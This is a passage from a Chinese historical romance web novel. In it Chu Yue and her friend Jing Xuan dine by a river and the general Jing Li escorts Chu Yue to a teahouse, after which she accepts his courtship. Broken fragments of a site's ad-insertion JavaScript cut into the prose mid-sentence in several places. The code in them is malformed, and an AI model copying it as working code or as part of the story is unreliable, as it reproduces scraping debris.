翻翻感兴趣的话本,楚悦渐渐被里面的爱恨情仇吸引,等了大约一个半时辰,也没有觉得无聊。 接近午时,景萱终于和管事谈完正事。 等离开知书坊,两人慢慢悠悠走在西市繁忙的马路上。 只有二人和丫鬟兰心的时候,楚悦问明显不如来时兴奋的景萱:“不太顺利?” 景萱的眉心微微蹙着,无奈比划:“管事说,这次的内容不太吸引人,不如之前的好。”顿了下,景萱觉得不能影响楚悦的心情,打起精神:“没关系,回头我让那人再修改下。” 楚悦自知没有能力帮景萱写个精彩绝伦的话本,真诚道:“到时我帮你画小像。” 景萱一扫阴霾:“那就说好了,阿悦要说话算话。” 楚悦:“说话算话。” 爹爹的案子在查,弟弟也去了国公府求学,一时半会肯定走不了,不至于应下来之后完成不了。 她只是觉得愧对老两口,令他们迟迟不能同女儿女婿团聚。 心里高兴,步伐都会变得轻快,不知不觉就来到陵水河畔。 陵水河连接着护城河,穿过西市后自北向南流向城南,这个季节的河岸杨柳依依,游人如织,遍布酒家茶楼与各种铺子。 两人觉得难得出来,干脆先吃个午饭,然后去对面的茶楼听书,在坊门关闭前回家。 他们要去的是云酥轩,这家店铺以各式酥山与饮子闻名,食客很多,尤其受京城里的夫人与姑娘们喜爱。 景萱与楚悦抵达云酥轩时,店里几乎满了,不少慕名而来的客人三三两两聚在一起,在排队。 在书坊管事的提醒下,景萱提前叫车夫预定了位子,两人不用等待,在伙计的指引下直接上了二楼。 可惜这里实在太过火爆,车夫算来得早的,也没有定上雅间,要了次一等的隔间。 这些隔间并非完全封闭,桌与桌之间用屏风隔开,胜在靠窗视野好,一抬头就可以看到陵水河。 太久没出门,两人起初都有些拘谨,但伙计呈上来美味又好看的酥山,两人的表情变成了愉悦。 景萱用银匙挖了一勺放入口中,放下勺子兴奋地比划:“在这里吃和让人买回去的不一样!” 楚悦抿了唇笑。 酥山怕热,买回去多少会融化一些,当然不一样。 两人还点了几样果子与两种饮子,窗外就是风景,也无人打扰,不需交谈,不慌不忙待着,都感觉到了难得的惬意。 直到隔壁传来说话的声音。 “颜姑娘请。” 两人原本在欣赏河中花船上的舞姬跳舞,闻言对视一眼,孙仲怎么在这里? 上次见他还是景璃去姜家那一日。 楚昕的腿已经彻底痊愈,已熟练掌握孙仲教给他的养生之法,楚昕有了正经先生,他后来就再也没有去过姜家。 “多谢孙公子。”回应孙仲的女声温柔如水。 在楚悦犹豫要不要去打个招呼的时候,景萱一副了然的表情,用手语告诉楚悦那位怕是孙仲心仪的女子。 惊讶过后,楚悦和景萱一样选择了沉默。 虽说大晋民风开放,不禁止年轻男女来往,但姑娘家面子薄,他们也不知道孙仲同颜姑娘的交情到了哪一步,骤然出现容易令人不自在。 两人不紧不慢地吃酥山,品果子,她们无意偷听,屏风却不隔音,渐渐听出那两人在相看。 孙仲周到有礼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,谈吐诙谐,惹得姑娘阵阵浅笑;姑娘呢,也是温柔大方之人,两人有来有往,颇有好事能成的意味。 那颜姑娘胃口小,听话里的意思是只能吃半个酥山,两人坐了半个时辰就要离开,准备去河畔消食。 闻言,楚悦低头看了面前一点酥山都不剩的莲花盏,再看了眼咬了小半的果子,微微红了脸。 不过,对面景萱面前不光酥山吃完,饮子喝光,连果子都一口不剩,心里略略轻松,她的饭量好像也不夸张。 难怪景萱提议要来这里,原来她这样喜欢。 孙仲他们走了,楚悦也没什么顾忌,问景萱:“再让人上些?” 目光从河畔并肩而立的两人身上收回,景萱摇摇头,咽下最后一口果子,比划:“不用,我饱了。” 楚悦也饱了。 两人休整一番,从隔间里站起来。 踏出隔间,楚悦意外看向迎面走来的人:“孙大哥?” 原本垂着眼不知道在想什么的景萱也抬起头,看向来人。 孙仲在伙计的带领下来给颜姑娘寻找遗落的荷包,见到两人也很惊讶:“你们怎会在此?” 他知道后面的隔间里有人,怎么也没有想到隔间里的人是楚悦与景萱。 颜姑娘不在,楚悦告诉他:“我们来陵水河边走走,在你与颜姑娘抵达之前就在了。” 孙仲也就明白了,她们二人知道他在与颜姑娘相看。 他下意识去看景萱。 四目相对,景萱脸上已经挂上笑容,她调皮地冲孙仲眨眨眼:“恭喜孙大哥好事将近。” 孙仲只觉得这样的笑容格外刺眼,像是一根尖锐的针,毫不留情戳在他心上,生生地疼。 只不过这是他自己选择的路,他活该,好在她不知情,他疼也就疼了。 孙仲挤出笑容,拱手谢了:“到时请你们喝喜酒。” 景萱弯起眼睛笑起来,唇边抿唇两个甜甜的梨涡:“一定。” 道完别,楚悦和景萱继续往前走,孙仲越过她们,走入隔间里找荷包。 该下楼了。 “小心!” 楚悦惊呼出声,扶住差点踩空的景萱。 景萱冲她笑笑,吐了吐舌头。 楚悦一怔。 不知为何,她感觉景萱与孙仲都有些奇怪。 这两人以前总是针锋相对,就算后来和好了,也会斗嘴。 今日却出乎意料地和谐。 鬼使神差地,楚悦回头看了一眼。 本该在隔间里找东西的孙仲看着她们方向,站在走廊里,不过,在她看到他的瞬间,孙仲返身回了隔间。 楚悦的怪异之感更强烈了。 大家这么熟,他看到就看到了,有什么好躲的。 出了云酥轩,楚悦一眼就看到了门口等人的颜姑娘。 孙仲没有向两人介绍过,她们也不好贸然上去打招呼。 但最令楚悦吃惊的,是云酥轩两边原本都有人在等,现在全部集中在东侧,陆续前来的食客自发离西侧那个高大的男人远远地,仿佛他并非击退西戎的英雄,而是洪水猛兽一般。 他突然看过来了,楚悦心头一颤,下意识垂眸。 她有些理解食客们的心情了。 原来他平时看人是这样的,可能是才从战场回来吧,他的眸光太过深邃锋利,无意识散发出的气势也很凶悍,的确容易令人害怕。 可他难道不用上值么,怎么也来了? 17. 第 17 章 景璃看到走出来的楚悦与景萱,在众人各异的目光中走向她们。 离开云酥轩,人少些了,景萱好奇:“大哥怎么来了?” 景璃看向景萱身侧的楚悦。 大庭广众之下,尤其这么多人看着他们,楚悦没法像景萱一样自然。 视线一碰即分,也算打过招呼了吧,楚悦默默来到景萱身侧,和景璃一左一右。 收回目光,景璃回答妹妹:“在附近办事,看到你们的马车后问了车夫,打算去哪里?” 景萱指了指河对岸的茶楼,问景璃:“大哥的事办完了?” 景璃嗯了声。 他八岁那年,西戎再犯大晋边境,他的父亲奉命西征,虽守勉强守住了国土,人却在最后一战中失踪,这些年一直杳无音信。 他这一回出征,除了大败西戎,也找到了些父亲的线索。 年初的时候,他作为主将之一不得不随大军班师回朝,只好打听父亲下落之事交给靠得住的人。 如今终于有线索,今日就是为这事而来。 意外的是,办完事后他不光在附近看到了自家马车,还看到了与妙龄女子同行的孙仲。 于是就过来看看。 过了桥就是茶楼,马车就停在茶楼的柳树下。 景萱的眸中闪过一丝犹豫之色,走了几步,轻轻拽了拽楚悦的衣袖:“我身体有些不适,不能陪你去茶楼了,让大哥陪你好不好?” 楚悦微微惊讶。 她其实有所察觉,景萱从云酥轩离开时就有些心不在焉,以为她还是受了书坊的事影响,没想到是因为身体不适。 楚悦关切道:“不用管我,让世子送你回去。” 比起和景璃一起去茶楼,她宁可也一起回去。 闻言,景璃眸光闪烁了下,转头看向妹妹。 景萱摇摇头,有些不好意思:“我没什么大碍,就是可能吃多了。”顿了下,景萱看了眼自家大哥,继续对着楚悦比划,“大哥不喜欢听说书,所以还得麻烦你,帮我听听茶楼里最火热的是什么戏文,我让人参考下。” 楚悦:“……” 她不想同他一起,但景萱身体不适,都请她帮忙了。 楚悦硬着头皮答应。 景璃就看见妹妹走到他跟前,叮嘱楚悦的时候悄悄给他使了个眼色:“那我先回了,听完戏文后大哥一定要帮我将阿悦送回去。” 景璃眸光一顿,下意识看向楚悦。 她不知道两个姑娘在云酥轩具体发生了什么,却见这总是害羞的姑娘没有不情愿的意思,只是鸦羽般的长睫轻轻颤着。 景璃若无其事看向河对岸,孙仲和同行的女子已经走远,只留下模糊的背影。 见妹妹领着丫鬟直接上了马车,没有朝对岸看的意思,景璃没说什么,嘱咐车夫慢些。 * 没了景萱在一旁,楚悦感觉更不自在。 身侧的男人本就生得高大,因为习武的缘故,举手投足之间皆是力量。 尤其经过战场上的历练,更添逼人的气势。两人并行时,显得她看起来格外柔弱娇小。 景璃也察觉到了,不过身形都是天生的,这一点无法改变。 那些人越是朝这边看,楚悦越能感觉到路过的行人朝她投过来的目光充满同情,仿佛她是被迫跟着他一般。 楚悦不喜欢别人这样看待他们。 要不分开走?能少吸引些目光? 打定主意,楚悦加快速度,走在景璃前面。 景璃看着两人间越来越开的距离,眸中闪过无奈,放慢脚步。 * 茶楼里上午有说书,下午有折子戏,快开演了,看客陆陆续续进场。 楚悦迈上台阶跨进去。 剧场共有两层,一层为散座与池座,二楼靠近戏台之处为官坐,以屏风相隔。 进门后就是大堂,伙计不动声色打量完楚悦的衣着,比手引着楚悦往大堂的池座里引:“姑娘请随我来。” 楚悦面色微僵。 从前在霖州时,她从来都是去官坐,今时不同往日,伙计见她衣着朴素,自然按普通的客人招待。 倒也是人之常情。 楚悦温声开口:“提前和贵店预定过的,在乙字号官坐。” 伙计立即换了态度。 能花大价钱预定官坐通常非富即贵,这姑娘虽然衣着简素,人却落落大方,原来是有来历之人。 伙计夸张地轻轻自扇了一巴掌:“是小的有眼不识泰山,姑娘勿怪,请。” 世人多是先敬衣衫后敬人,没什么稀奇的,楚悦大度笑笑,跟着伙计去二楼。 以示补偿,伙计不光态度殷勤,还送来两样点心与一壶清茶。 安顿好,楚悦就让伙计出去,望向空荡荡的走廊。 她那时光顾着避开那些人猎奇的目光,没有留意到身后的景璃。 他没有跟来,也没有说一声。 楚悦站起来,居高临下看着门口人来人往,也不知他去做什么了,还来不来。 站了会,原本热闹但有序的门口出现些异状,有两个刚进门的男子进来后不往里走,而是一人守着一边,恭恭敬敬地等来人进去后才往里走。 随着景璃进入,以他为中心的客人自发避开,连话也不说了。 楚悦看在眼里,心里沉甸甸。 这些人虽表现出了对他的敬重,却也没有掩饰畏惧。 他在战场上身先士卒,杀的敌军是有些多,但不也能帮我军减少伤亡,不也是为了保护能在这里听戏不用上战场的大伙,为何要用害怕的眼神看他呢。 “将军请,就是这里了。” 还是刚才带楚悦上楼的伙计,停下脚步,比手请景璃往里走。 楚悦看看冷峻威严的景璃,在看看诚惶诚恐的伙计,鼓起勇气冲景璃绽出笑容:“你来了。” 景璃一怔,对上姑娘纯净澄澈的眼,颔首。 伙计如释重负,完成任务后匆匆离去。 等景璃坐下来,又用那种灼热的眼神看她时,楚悦就后悔了。 她没有别的意思,也不是想在大庭广众之下和他套近乎。 她只是不希望被人畏惧了一路的他觉得,他这人有多可怕,头脑一时发热就那样做了。 楚悦懊恼垂眸,真怕他又用之前的话术。 看着对面的姑娘通红耳珠,景璃深邃的眼孔里溢出点点笑意:“多谢阿悦,幸亏有你,不至于令我觉得自己是个不近人情的怪物。” 果然来了,楚悦攥着膝上的裙褶,小声强调:“他们是不了解你才会那样,你别放在心上。” 景璃:“阿悦安心,我不会在意别人的看法。” 会介意她的看法么? 楚悦暗中摇头,抬起头。 越是不好意思 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,越容易显得人心虚。 在热意从耳珠蔓延至般脖颈之前,楚悦主动换了话题,:“世子最近不忙?” 不然哪有精力又是接送楚昕,又是偶遇她们。 景璃执起茶壶,给楚悦沏茶:“这一回战果空前,朝廷有意让将士修整些时日,所以还算空闲。” 楚悦发现,男人的手掌宽大,不算小的茶壶被他托在手里,仿佛是个小玩意似的。 楚悦点点头,又说了几句关于他关照楚昕的客套话,心虚地捧起天青色建盏。 见之前好像有好多话要说,真见面不知该说什么了。 说多了怕显得轻浮,不开口又担心显得无趣。 看了眼戏台,那边还在做准备,景璃看出姑娘似乎没话要和他说。 喉结轻滚,景璃看着姑娘柔软的发顶开口:“你们在云酥轩遇见孙仲了?” 只要谈得不是与他们自己,楚悦变得自如很多,点头说是:“凑巧遇上了,就在相邻的隔间。” 景璃想起孙仲看见他时的视而不见。 他的手掌大,手指也长,用两根手指就能稳稳捏住建盏:“与孙仲同行的似乎是个女子。” 想着景璃同孙仲是好友,且孙仲也说要请他们喝喜酒,没什么好隐瞒的。 楚悦启唇:“那是颜姑娘,同孙大哥正在相看。” 对于适婚的年轻男女而言,正常情形应该像孙大哥那样,知会过双方长辈,大大方方来往。 景璃心中咯噔一下。 阿悦见到了孙仲与人相看,意味着妹妹也见到了。 “咚”地一声,对面的戏台已列开阵势,戏文开锣了。 楚悦被动静吸引,下意识看过去。 景璃没有着急往那边看,他看的是姑娘沉静又富有生机的侧脸,这一刻他只觉得庆幸。 阿悦也好,阿萱也好,他都不会让之前的悲剧重演。 别开生面的开场过后,戏文正式上演。 对重生的景璃而言,再缠绵悱恻的戏文都只是几段唱词,远不及真正经历过的痛彻心扉。 但姑娘看得却很认真,简直到了目不转睛的地步。 景璃没有打扰她。 楚悦记着景萱交给她的任务,一边看一边记,等折子戏演完,楚悦下意识捧起建盏抿一口茶。 她突然意识到,在她看戏期间,茶水和点心一直没有饮尽吃尽的时候。 她猛地看向对面。 景璃也朝她看过来,将新上的点心推至楚悦手边:“尝尝这个?” 楚悦的脸刷地红了。 她看得太过投入,一直都是景璃在添茶递点心,连他什么时候让人上了新的她都不知道。 在他眼里,她岂不是一直吃喝不停,臊死人了。 放下建盏,楚悦连忙摆手:“不用了。” 楼下的散客陆续离开,原本人声鼎沸的茶楼里很快变得松散闲适,他们也该走了。 景璃先站起来:“走吧。” 坐在对面的楚悦说好。 出了官坐,两个人很快走到楼梯口。 虽然茶楼里的人不多了,但还是有的。 景璃低头看向身侧的姑娘:“你要先行一步么?像进来时那样?” 楚悦愣住,下意识抬头看他。 四目相对,楚悦发现他的目光格外真诚,仿佛真的只是字面意思,问她要不要和他分开走。 18. 第 18 章 楚悦没有选择分开走。 就算知道他并不在意那些人的目光,她做不出刻意避嫌的举动,尤其他那样处处为她考虑。 楚悦忍下不好意思,尽量自然开口:“一起走吧。” 等到想要的答复,景璃轻轻攥紧垂在身侧的手。 两个人联袂下楼。 刚走出茶楼,就听有人疾呼:“都让开,马受惊了!” 还来不及细看,楚悦就感觉到身边一空,这人已经冲出去,从马蹄底下救下一下呆立在原地的七八岁男童。 无人看顾的马继续撒开蹄子狂奔,后面一队维持秩序的武侯在追。 男童惊魂未定,左右看看,“哇”地一声,哭得惊天动地。 不多时,隔壁布庄冲出来一对年轻夫妻,看到抱着的男童的景璃,气呼呼冲过去抢:“还有没有王法了,光天化日之下吓唬孩子。” 楚悦大惊,怎会有如此不分青红皂白之人! 男童呢,看到父母后哭得更大声,挣扎着去够父母,更像被景璃欺负。 景璃什么也没说,将男童交给他父母。 母亲紧紧搂着孩子,温柔地哄:“耀祖不怕,爹娘在呢。” 那父亲身高不及景璃,也不及景璃强健,为了儿子鼓起勇气紧盯景璃:“有本事上阵杀敌去,吓唬孩子算什么大丈夫。” 闻言,楚悦的胸膛起伏起来,怎能这样说。 这父母若是真的关心孩子,孩子单独跑出来了都不知道,还有围观的行人也是,明明知道景璃被误会了,像是生怕景璃生那对夫妻的气连累到自己,都没有个来主动说明原因。 楚悦再看向景璃。 他像是习惯了被人误解与畏惧,面无表情回到她身侧:“走吧。” 楚悦却不想就这样离开。 景璃大度不同他们计较,不代表那位爱子心切的父亲可以这样说他。 楚悦紧攥着拳头,冲到那对夫妻前面:“不许走,先道歉。” 夫妻俩被儿子的梨花带雨弄得心都碎了,眼前骤然多了个气咻咻的女子,两人丈二和尚摸不着头脑:“姑娘什么意思?” 楚悦示意两人看景璃,严肃道:“刚才是景将军救了孩子,你们不该这样说他,若是不信,你家孩子和行人都可以作证。” 景将军! 夫妻俩怔怔看向楚悦,又齐齐回头,如同被雷劈了一般定在原地。 他们没见过真人,但对这个名字如雷贯耳,谁不知道这回同西戎的大战中景将军占首功,听说他身先士卒,一口气杀了敌方四名悍将。 难怪这人的气势这样逼人! 夫妻俩没心思哄孩子了,战战兢兢来到景璃面前:“小的有眼不识泰山,误会将军了,实在该死。还请将军大人不记小人过,原谅小的的无心之失。” 这可是从尸山血海里淌过的人,要是他发怒,他们还有好下场么! 景璃见惯了众人对他的畏惧,但他就这样,懒得为他们去改变什么。 他这回的心思都在不远处正望着自己的姑娘身上,他怎么也没有想到,竟会有个弱女子当街他鸣不平。 平日里娇娇小小的一个人,因为气得狠了,连脸都红了。 心像是被人轻抚了一下,柔软得不成样子。 景璃淡淡开口:“你们走吧。” 说着不去看他们的反应,径直走向楚悦。 “回去吧。” 楚悦点点头,到了人少些的地方,楚悦问身侧之人:“世子为何不解释?” 景璃:“不是什么大事,影响不了我,不用担心。” 他说得淡然,楚悦的心情却一点也不轻松。 印象中他和出征前不一样,出征前看着冷情冷性,只是让人疏离感;自大胜归来,人们对他的态度变成了既敬且畏,那些害怕的情绪骗不了人。 可他明明只是看着冷,实则很温柔啊! 这是残酷的战争给他烙下的印记。 没有人天生就有对负面评价置之不理的能力,他得被人畏惧过多少回,才会有如今的波澜不惊。 再偷偷侧眸看一眼身侧之人,楚悦只觉得,他也真是不容易。 下一瞬,楚悦对上一双泛着点点笑意的眼。 楚悦分不清是凑巧,还是他察觉到了她在偷看他,慌忙垂下眸子。 “多谢阿悦。”景璃温声开口,“替我鸣不平。” 闻言,姑娘悄悄弯起唇角,白嫩小巧的耳垂漫上绯色。 * 行了一段,景璃将楚悦带到河畔的柳树下:“你在此等一等,我去租马车。” 他倒是想同姑娘多待一阵,可这里距离延贤坊隔了四个坊,大约五里地,以姑娘的脚程,步行需要半个多时辰,没必要让她受这个罪。 楚悦面色微微有些发烫:“好。” 她并不想过多麻烦他,但实际一直在给他添麻烦。 更令她难为情的,是这帮忙并非无缘无故,彼此心知肚明原因。 景璃转身离开。 车马行离得不远,但那里人多眼杂,就没有邀请楚悦同去。 景璃行动迅速,楚悦远远看到他和管事打扮的人说了几句,不多时,车夫驾驶着青帷马车朝她的方向过来。 但景璃没有随车夫一起回,去了车马行隔了几家的点心铺子。 马车到了,路过的行人频频往她这边看,楚悦先登车,在马车里等他。 不到一盏茶时间,景璃回来了。 他手里多了两包点心,挑开车帘上来:“这是刚出炉的云片酥和金丝糕,带回去给阿昕和姜婆婆他们尝尝。” 楚悦一下子想起在他面前吃喝了一个时辰的糗事。 收吧,她一看到这个就想起那些尴尬的时刻;不收吧,显得太过生分。 “阿悦要同我客气?” 他又用这种诚恳的目光眼神看他了,楚悦的心扑通直跳起来。 她不怕他严肃,也不怕他冷脸,如果说他用那种灼热的眼神看她时她会想躲,这样诚恳时她总是没办法硬着心肠拒绝。 楚悦垂眸接了点心,顺手放在侧座上“多谢世子。” 马车开得不快,楚悦知道他在看她。 不好意思回望,于是掀开车窗的帘子,假装好奇看向车窗外。 只是看着看着,楚悦发现,他好像就再也没有转变过姿势。 毕竟看她的是她很有好感的人,害羞归害羞,心里也有些悄悄滋生出来的甜蜜。 于他而言她真有那样特别么,值得他一直这样盯着看? 与此同时,有个理智的声音跳出来。 也许他只是单纯和他一样, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 透过窗子在看外面的风景呢。 只不过对于情窦已开的年轻女子而言,这样的疑问不是那么容易求证了。 快到兴义坊了西门了,景璃开口打断了车门的沉寂:“想去学堂么,接阿昕一起回?” 楚悦摇摇头:“不了,直接回家吧。” 学堂就在他家里,阿萱身体不适,不好去打扰。 虽然不知道自己究竟还在坚持什么,但她确实还没有做好准备去他的地方。 景璃没勉强她,让车夫直接去延贤坊。 楚悦踩着马凳下来,隐约听见屋里老两口在院子里讨论着什么,不时还有笑声。 楚悦抬手叩门。 来开门的是姜婆婆,见到楚悦以及她身后的景璃,姜婆婆先是一愣,不明白为何换了人,随时绽出由衷的笑容:“世子,姑娘。” 楚悦转身看向景璃:“天色不早了,就不留世子了。” 不用抬头看,景璃也知道眼下日头正好,将拎着的点心交给楚悦:“告辞。” 姜婆婆和楚悦目送景璃登车。 进门落好栓,楚悦和姜爷爷打完招呼,在姜婆婆发问前先问她:“发生了什么喜事,您今日这样高兴?” 姜婆婆满脸的皱纹笑成一朵花:“你容姨来信了,她要回京城了。” 容姨即老两口的独生女姜容,和楚悦的母亲姜菱情同姐妹,其夫乃霖州下辖的柳县县令。 楚悦知道老两口早就想和女儿团聚,真心替他们高兴,关切道:“容姨预计何时到达,谁陪她回来?” 姜婆婆喜笑颜开:“一大家子都来,女婿升迁了,来京城当差。” 这真是天大的好消息,老两口再也不用和女儿一家分隔两地。 这一刻,楚悦想的还不止这些。 爹爹的案子已经有石御史在跟进,容姨的夫君曾县令被认作是爹爹的同党,在过去几年也受到了影响,如今一反常态升迁,楚悦总觉得不是那样简单。 她想起一个人。 将点心交给姜婆婆,楚悦转身往外走。 姜婆婆看着匆匆出门的楚悦,不解:“姑娘要去哪?” 楚悦拔下门栓:“我去去就回。” 伴随着门轴暗哑低响,已有年头的木门缓缓打开,楚悦提前裙摆,大步跨出门槛。 门前熟悉的身影还在,楚悦只看了一眼,眼底就莫名一阵阵发烫。 “世子。”楚悦红着脸开口。 景璃在老少二人进了院子才离开,正欲登车,突然听到门响。 他放下撩起的车帘,转身看过来。 西沉的暖阳之下,姑娘的面颊红红的,看起来有些着急。 “怎么了?”景璃大步走下马车,迎上去。 楚悦的呼吸有些快,她分不清是走快了,还是因为别的:“曾叔调任京城,也是世子暗中帮忙?” 景璃暗舒一口气,点头。 他要做的,是护这姑娘一生无忧。 行动之时,自然要往周全了考虑,消除她的一切顾虑。在石御史着手调查湘王受贿一案时,就启动了全盘计划。 他无意邀功,但这姑娘敏锐,发现了他也没必要瞒她。 楚悦静静看着近在咫尺的人,这个沉稳得如山一般的人,有甜蜜,有酸涩,有感动,还骤然生出莫大的勇气。 19. 第 19 章 他为她做的,远远超出了她的预期。 在满朝文武对爹爹的案子讳莫如深的情形下,只有他敢出头。 最难能可贵的是,这种出头并非一时冲动,他似乎早就开始筹谋,不仅考虑了过去的人,将她身边的人的未来都考虑好了。 哪怕只是因为这些,她不想再去计较能否全身而退了。 楚悦深深施了一礼:“多谢世子。” 景璃扶起眼眶微微有些泛红的姑娘:“不说这些。” 送走景璃,楚悦回去后将曾跃升迁的内情告诉了老两口。 老两口先是大为震撼,但年纪大,经历的事情一多,很快就能想通。 他们人微言轻,大事掺和不了,也无能为力。 原本计划是等两位小主子出孝后就去霖州,世子给小世子请了先生,现在连他们的女儿一家都考虑好了。 世子这样尽心尽力,就是不想放人走。 从私心来讲,他们乐于见到姑娘有个好归宿,然而姑娘敏感又懂事,他们不希望她因为恩情勉强自己。 老两口商量了下,姜婆婆收起院中晒了一天的被子,进了楚悦的屋。 楚悦走上前帮忙,两个人各抻着被子的一头叠好,再摆在床上。 忙活完,楚悦将老人引到靠窗的炕床上:“您坐,先歇一歇。” 姜婆婆没跟楚悦客气,坐下来。 目光从姑娘沉静姣好的面容上掠过,姜婆婆用闲话家常的语气开口:“世子这人周到归周到,但为人太过冷峻淡漠,相处起来未必轻松。姑娘若是不喜欢待在京城,咱们也不用勉强留下来,你曾叔容姨也会很乐意待在霖州。” 闻言,楚悦心中一暖。 景璃的行动与眼神都很直白,老人家肯定早就看出来了。 明明那样高兴能与儿女团聚,却还在考虑她的感受。 面色微微有些发烫,楚悦轻声开口:“我想留下。” 话虽如此,姜婆婆还是不能放松:“姑娘可知道留下意味着什么?” 世子那样锲而不舍,越往后,就越不会放手。 楚悦轻轻颔首。 之前迟迟下不了决心,如今她不想瞻前顾后,也不想再隐瞒了。 楚悦走到床畔,从枕下摸出那根葡萄玉簪,赧然开口:“之前对婆婆撒谎了,这其实并非娘亲的遗物。” 景璃出征之前突然送了她一根簪子,她那时不好向姜婆婆交待簪子的来历,只能推说是母妃留给她的念想。 姜婆婆看着姑娘布满霞色的脸,联想起一切反常的源头,疑惑道:“世子出征前送姑娘的?” 楚悦点点头。 姜婆婆感慨不已,送簪子安姑娘的心也好,后面各方面的照拂也好,世子也算有心了。 姜婆婆拉住楚悦的手,饱含鼓励:“姑娘是京城最美好的小娘子,是王爷和王妃的掌上明珠,更是大晋尊贵的郡主,受得住任何人的殷勤,也值得所有人细心呵护。” 知道姜婆婆一向疼爱自己,也知道自己是个好姑娘,听到这样的安慰的话,楚悦还是忍不住热泪盈眶。 “姑娘莫怕,都会越来越好。” * 心境一变,人也会跟着变,曾经以为过不去的也不再是执念。 第二日用过早膳,楚昕照例准备出门。 拎起书袋,楚昕想起一件事:“今日是景大哥最后一次来接我,今后我自己去国公府。” 这样也好,楚悦心里想。 延贤坊与兴义坊也就隔了两个坊,离得不算远,没有必要这样来回接送。 太麻烦他了。 不过,突然这样也有些反常。 楚悦状若随意询问:“为何如此?” 楚昕:“好像是朝廷来命令了,景大哥明日起要去卫所当值。” 楚悦一怔,景萱昨日才问过景璃,他说近来不忙。 难道是因为她之前总是避着不见他,令他以为她不想见他,才故意这样跟楚昕说。 想完突然意识到这有自恋之嫌,连忙想别的事挤走这个想法。 楚昕拎着书袋往外走:“我走了。” 楚悦替他将衣领整理好,叮嘱他不要惹先生生气,一定好好听邵先生的话。 楚昕看着已不及自己高的姐姐,自得道:“姐姐放心,邵先生可喜欢我了。” 楚悦以为他吹牛:“不害臊。” “真的!”十三岁的少年还不太能接受被误解,连忙为自己正名:“那景琮简直滚刀肉一般油盐不进,没有我这样的好学生在,邵先生简直要怀疑自己。” 楚悦警告他:“先生喜欢你便更要争气,还有,这话在我面前说说也就罢了,切不可去外面乱说。” 楚昕知道姐姐的做派:“知道了,放心吧。” 整理好,楚昕拎着书袋出门了,上房一下子就安静下来。 楚悦看着楚昕的背影,满脑子想的却是楚昕说的,今日是他最后一次来接楚昕。 楚昕照例在门口等景璃。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 景璃很守时,卯时过半准时出现在姜家门口,楚昕一般会提前一盏茶的时间出来等候。 只不过,他刚站定不久,姐姐也跟出来了。 姐姐平日里都是不送他的,主要是没有必要,他都这么大的人了。 楚昕疑惑看向楚悦:“我落东西了?” 楚悦:“……不是,你萱姐昨日身体有些不适,我找世子问问。” 楚昕没有怀疑,不过景大哥是熟人,姐姐问归问,没有必要特意将发簪换了吧。 “哦。” 楚昕倒是没有追问,女孩子的打扮是不能随意品评的。 不多时,那道熟悉的身影果然出现在视野里。 楚昕迈下台阶迎上去:“景大哥。”还十分体贴地回头提醒自家姐姐,“景大哥来了。” 两人并排站着,楚昕能看见,楚悦当然也能看见。 不光如此,她还知道他也看到她了。 不知是不是心虚,她甚至觉得他在看她新换上的发簪。 冲楚昕点点头算打过招呼,景璃:“阿昕能否去前面的枣树下等我,我有些事要同你姐姐说。” 楚昕心道真是巧,姐姐也有话要问景大哥。 冲楚悦说完再见,楚昕迈着轻快的步伐离开。 楚昕走后,楚悦有些后悔出来了。 只是对视了一眼,楚悦慌忙垂下眼,知道他的确认出来了。 她从那双深邃眼孔里看到了克制了许久的热切。 “阿悦。”景璃喉结轻滚,忍不住往前又进了一步。 他当然认得自己亲手挑选的白玉簪,也知道姑娘清楚这是他送的,那是他补给姑娘的及笄礼。 回来这么久,这是他第一次在她的发间看见。 楚悦听见他的声音了,低低沉沉的,但她看不到他的表情,只能看见一双修长的腿,坚定、有力,他越迈越近,要走上台阶。 “世子。” 楚悦心中有点慌,连忙出声。 她没想到,一根发簪会令他这样喜形于色。 楚悦后退一步,飞速瞥他一眼,提醒他这是在大门口。 看着姑娘已经红透的耳根,景璃不由自主咧开笑容。 台阶下没动静了,猜他大约已经冷静,楚悦慢慢掀开眼帘。 四目相对,楚悦对上饱含温柔与喜悦的眸光,心里很烫,有些甜蜜,也有些羞涩。 柔煦的晨光中,景璃看到他心心念念的姑娘螓首微垂,慢慢弯起了唇角。 20. 第 20 章 楚昕还在等景璃一起走,楚悦没有让他待太久。 “好,”景璃满眼温柔,“我下值后再来。” “别。”飞速看他一眼,楚悦红着脸拒绝。 虽已表明心意,且他也看懂了,楚悦还是很害羞。 再说了,他都跟楚昕说了是最后一次来接,突然改变主意楚昕一定会问,她还没有想好怎么跟弟弟说。 “好。”景璃笑着答应。 害羞归害羞,不妨碍楚悦心里暖暖的。 她知道他是个体贴的人,但还是被他这样毫不迟疑的态度给惊到。 他就不担心她会因为迫于他的权势不得不答应,不怕她反悔吗。 不管怎么样,楚悦对他更满意。 两人对望一眼,楚悦捂着砰砰直跳的心口离开。 楚悦进门的时候,姜婆婆和姜爷爷照例在院子里忙活。 姜婆婆正在扫院子,看到了楚悦发间的玉簪,笑眯眯地问:“阿昕走了?” 楚悦知道姜婆婆看出了她的发簪变了,有些难为情。 楚悦去接姜婆婆手里的扫帚:“我来吧。” 姜婆婆笑:“去歇着吧,不是什么重活,就当我与你姜爷爷就当活动筋骨。” 对楚悦而言,这事说平常也突然,她没想到会这样顺利,她的确需要一个人待一阵来平复心情。 另一边,楚昕破天荒地发现,一向没什么表情的景大哥竟然在笑。 楚昕好奇:“景大哥今日心情很好,有喜事?” 景璃一楞,意外自己竟然没有藏住情绪。 她想起姑娘家的害羞,决定还是要顺从姑娘的意思:“差事很顺利。” 说起差事,楚昕想起景琮跟他说的:“外头在传,西戎要向大晋称臣?” 景璃颔首。 前一世与西戎的那一仗中,大晋因为出了叛徒,导致主将被俘,我方伤亡惨重。那时南边也不安稳,多方考量以后,朝廷向西戎求和,不仅赔偿西戎大笔银子,还以和亲的方式加深两国的关系。 然而,西戎内部并非铁板一块,主战派意欲通过这一次对大晋的胜利控制夹在两国之间的小国。为了显示与大晋割裂的决心,主战不仅杀了西戎的首领,还对诚心前来和亲的使团下了杀手。 